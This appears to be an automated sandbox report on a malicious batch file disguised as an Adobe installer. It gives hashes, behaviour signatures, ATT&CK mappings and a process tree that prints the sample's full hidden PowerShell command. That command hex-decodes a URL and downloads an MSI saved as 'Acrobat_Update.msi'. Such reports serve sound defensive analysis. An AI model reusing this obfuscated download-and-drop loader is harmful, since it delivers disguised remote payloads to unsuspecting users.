52ad85b69fcd56770ae5336db48a1ef45590fed194ea2f90c7689313ea03faa0

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 12:24

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General

Target
Quotation-+Adobe+installer.bat
Size 2KB
Sample260720-plfzjaas5j
SHA256 52ad85b69fcd56770ae5336db48a1ef45590fed194ea2f90c7689313ea03faa0
MD5 781f02f48c2e7ad4f0390115f2144a98
SHA1 e8ceae04956000c37aa719b520e8ce17b2d42ec7
SHA512 222e5adab056571c952d35e5cb63a159295768a80f522ee362192e14491050c0576c05434d9fcdd1c96099aad5764a9d2fcacda70d040b4543586f0c3fdcd15c
TLSH
T1335140553600AABA46F98A08C9688436F808618F93113DECF5B2D0307FB53C0DAFF5D9
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4452	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4452	powershell.exe
4452	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4248	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 4912	4248	cmd.exe	90
PID 4248 wrote to memory of 4656	4248	cmd.exe	91
PID 4656 wrote to memory of 2996	4656	net.exe	92
PID 4248 wrote to memory of 4452	4248	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation-+Adobe+installer.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\system32\mode.com
  mode con: cols=80 lines=25
  2⤵
  PID:4912
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='68747470733a2f2f6170702e616374696f6e312e636f6d2f6167656e742f35346563356563342d363539372d313166312d396363322d3964643235646361663630332f57696e646f77732f6167656e74284d795f4f7267616e697a6174696f6e292e6d7369'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=2){ $bytes+=[byte]([Convert]::ToInt32($s.Substring($i,2),16)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\Acrobat_Update.msi' -UseBasicParsing; Write-Host 'Download completed successfully.' } catch { Write-Host 'Download failed. Please check your internet connection.'; exit 1 }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4452-0-0x00007FFC6A3EF000-0x00007FFC6A3F0000-memory.dmp

Download

memory/4452-1-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/4452-4-0x0000025307E50000-0x0000025307E72000-memory.dmp

Download

memory/4452-5-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/4452-6-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-7-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-8-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-9-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-10-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-11-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-12-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/4452-13-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/4452-14-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-16-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-17-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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memory/4452-18-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

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